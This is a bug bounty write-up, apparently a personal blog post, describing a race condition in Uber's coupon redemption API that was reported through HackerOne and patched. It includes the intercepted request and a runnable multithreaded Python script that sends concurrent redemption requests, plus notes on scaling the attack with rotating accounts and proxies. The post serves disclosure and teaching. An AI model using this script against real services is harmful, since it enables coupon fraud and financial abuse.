Skip to main content
  1. BugBounties/

12:57 AM and a Concurrency Fault: How I Exploited Uber’s Coupon Redemption Logic

·410 words·2 mins
Security Research Concurrency Vulnerabilities API Exploitation Uber Race Condition Coupon Abuse Threading Timing Attack
Vaishnav Baraskar
Author
Vaishnav Baraskar
Penetration Tester @ Freelancer

Prologue: 12:57 AM
#


The apartment was quiet. I was not hunting vulnerabilities or replaying traffic with aggressive fuzzing. It was more observational – that rare and quiet mindset that often reveals misbehavior where others only see clean execution.

On one side of my screen was Uber’s app. On the other, Burp Suite running silently, intercepting HTTP requests in passive mode…

That difference in timing triggered a deeper question.

Was the backend state being updated only after the coupon logic passed? Was the validation being done after the request hit the endpoint – instead of ahead of it?

The hypothesis was simple: if two identical requests were sent at the exact same moment, would both pass the validation check before either had the chance to mark the coupon as used?

This was the beginning of the race condition theory.

Chapter One: Analyzing the Endpoint
#


Using Burp Suite, I intercepted the coupon redemption API call. The structure was standard.

POST /api/redeem HTTP/1.1
Host: api.uber.com
Authorization: Bearer <access_token>
Content-Type: application/json

{
  "coupon_code": "FIRST100"
}

The server responded:

{
  "status": "success",
  "message": "Coupon FIRST100 applied successfully."
}

Subsequent attempts failed with:

{
  "status": "failed",
  "message": "This coupon has already been redeemed."
}

Chapter Two: Understanding the Vulnerability
#


Most race conditions arise from shared state without proper synchronization.

if coupon.is_valid and not coupon.is_used:
    apply_coupon_to_account(user)
    coupon.is_used = True

This appears correct, but it fails under concurrency.

Chapter Three: Building the Exploit
#


I wrote a multithreaded Python script to fire concurrent requests using the same coupon code.

import requests
import threading

url = "https://api.uber.com/api/redeem"
headers = {
    "Authorization": "Bearer <ACCESS_TOKEN>",
    "Content-Type": "application/json"
}
data = { "coupon_code": "FIRST100" }

def send_request():
    response = requests.post(url, json=data, headers=headers)
    print(response.text)

threads = []

for _ in range(20):
    t = threading.Thread(target=send_request)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

Chapter Four: Scaling the Attack
#


To test scalability, I tried:

  • Async versions using aiohttp
  • High-value and low-value coupons
  • Account-bound and public promo codes

Chapter Five: Real-World Impact
#


Coupon Limit Bypass: One-time-use coupons were redeemable multiple times.

Financial Abuse: Discounts and ride credits could be multiplied.

Automation Risk: Scripts with rotating accounts and proxies could cause loss.

Detection Difficulty: Requests appeared legitimate in isolation.

Chapter Six: Measuring the Race Window
#


Measured with timestamps:

  • Minimum: 90 ms
  • Average: 180–220 ms
  • Max: ~300 ms

Chapter Seven: Responsible Disclosure
#


Submitted via HackerOne with:

  • Technical breakdown
  • Proof-of-concept
  • Suggested fixes

Uber confirmed, patched, and validated the fix.

Even milliseconds matter.
#